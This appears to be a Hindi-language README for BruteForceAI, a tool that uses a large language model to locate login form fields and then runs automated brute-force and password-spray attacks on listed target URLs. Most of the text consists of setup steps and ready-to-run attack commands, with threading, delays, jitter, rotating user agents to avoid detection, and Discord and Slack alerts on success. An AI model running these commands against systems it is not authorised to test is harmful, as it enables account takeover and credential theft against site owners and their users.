
AI बुद्धिमत्ता को स्वचालित लॉगिन हमलों के साथ जोड़ने वाला उन्नत LLM-संचालित ब्रूट-फोर्स टूल
उन्नत LLM-संचालित ब्रूट-फोर्स टूल जो AI बुद्धिमत्ता को स्वचालित लॉगिन हमलों के साथ जोड़ता है
विशेषताएँ • इंस्टॉलेशन • उपयोग • उदाहरण • कॉन्फ़िगरेशन • लाइसेंस
BruteForceAI एक उन्नत पेनेट्रेशन टेस्टिंग टूल है जो बुद्धिमान फ़ॉर्म विश्लेषण के लिए लार्ज लैंग्वेज मॉडल (LLM) को एकीकृत करके पारंपरिक ब्रूट-फोर्स हमलों में क्रांति लाता है। यह टूल AI का उपयोग करके लॉगिन फ़ॉर्म सेलेक्टरों को स्वचालित रूप से पहचानता है, फिर मानव-जैसे व्यवहार पैटर्न के साथ परिष्कृत मल्टी-थ्रेडेड हमले निष्पादित करता है।
# Python 3.8 or higher
python --version
अपने सिस्टम Python से निर्भरताओं को अलग रखने के लिए अंतर्निहित venv का उपयोग करें:
# 1. Create a virtual environment
python -m venv .venv
# 2. Activate it
# Windows (PowerShell):
.venv\Scripts\Activate.ps1
# Windows (cmd):
.venv\Scripts\activate.bat
# macOS / Linux:
source .venv/bin/activate
नोट:
python -m venv .venvचरण केवल एक बार आवश्यक है। प्रत्येक नए टर्मिनल सत्र में, टूल का उपयोग करने से पहले सक्रियण कमांड (चरण 2) को फिर से चलाएँ। वर्चुअल एनवायरनमेंट छोड़ने के लिए,deactivateचलाएँ।
# Install Python packages
pip install -r requirements.txt
# Install the Playwright browser
playwright install chromium
आवश्यक पैकेज:
playwright - ब्राउज़र ऑटोमेशनrequests - HTTP अनुरोधPyYAML - अपडेट जाँच के लिए YAML पार्सिंग# Install Ollama
curl -fsSL https://ollama.ai/install.sh | sh
# Pull recommended model
ollama pull llama3.2:3b
--llm-provider groq --llm-api-key YOUR_KEY के साथ उपयोग करेंOllama (लोकल):
llama3.2:3b - डिफ़ॉल्ट, गति और गुणवत्ता का अच्छा संतुलनllama3.2:1b - सबसे तेज़, त्वरित विश्लेषण के लिए छोटा मॉडलqwen2.5:3b - अच्छे प्रदर्शन वाला विकल्पGroq (क्लाउड):
llama-3.3-70b-versatile - डिफ़ॉल्ट और सर्वश्रेष्ठ - बेहतर गुणवत्ता वाला नवीनतम मॉडल (1 प्रयास)llama3-70b-8192 - तेज़ और विश्वसनीय विकल्प (1 प्रयास)gemma2-9b-it - हल्का विकल्प, सरल फ़ॉर्म के लिए अच्छा (1 प्रयास)llama-3.1-8b-instant - ⚠️ अनुशंसित नहीं (रेट लिमिटिंग संबंधी समस्याएँ, 3+ प्रयास)# Best quality (recommended for complex forms)
python BruteForceAI.py analyze --urls targets.txt --llm-provider groq --llm-model llama-3.3-70b-versatile --llm-api-key YOUR_KEY
# Fast and reliable
python BruteForceAI.py analyze --urls targets.txt --llm-provider groq --llm-model llama3-70b-8192 --llm-api-key YOUR_KEY
# Lightweight for simple forms
python BruteForceAI.py analyze --urls targets.txt --llm-provider groq --llm-model gemma2-9b-it --llm-api-key YOUR_KEY
# Local processing (no API key needed)
python BruteForceAI.py analyze --urls targets.txt --llm-provider ollama --llm-model llama3.2:3b
python BruteForceAI.py analyze --urls urls.txt --llm-provider ollama
python BruteForceAI.py attack --urls urls.txt --usernames users.txt --passwords passwords.txt --threads 10
python BruteForceAI.py <command> [options]
analyze - LLM के साथ लॉगिन फ़ॉर्म का विश्लेषण करेंattack - ब्रूट-फ़ोर्स हमले निष्पादित करेंclean-db - डेटाबेस तालिकाओं को साफ़ करेंcheck-updates - सॉफ़्टवेयर अपडेट की जाँच करें# Step 1: Analyze forms
python BruteForceAI.py analyze --urls targets.txt --llm-provider ollama --llm-model llama3.2:3b
# Step 2: Attack with 20 threads
python BruteForceAI.py attack --urls targets.txt --usernames users.txt --passwords passwords.txt --threads 20 --delay 5 --jitter 2
python BruteForceAI.py attack \
--urls targets.txt \
--usernames users.txt \
--passwords passwords.txt \
--mode passwordspray \
--threads 15 \
--delay 10 \
--jitter 3 \
--success-exit \
--user-agents user_agents.txt \
--verbose \
--output results.txt
python BruteForceAI.py attack \
--urls targets.txt \
--usernames users.txt \
--passwords passwords.txt \
--discord-webhook "https://discord.com/api/webhooks/..." \
--slack-webhook "https://hooks.slack.com/services/..." \
--threads 10
python BruteForceAI.py analyze \
--urls targets.txt \
--show-browser \
--browser-wait 5 \
--debug \
--llm-provider ollama
# Check for software updates
python BruteForceAI.py check-updates
# Check with output to file
python BruteForceAI.py check-updates --output update_check.txt
# Skip version check completely for faster startup
python BruteForceAI.py analyze --urls targets.txt --skip-version-check
python BruteForceAI.py attack --urls targets.txt --usernames users.txt --passwords passwords.txt --skip-version-check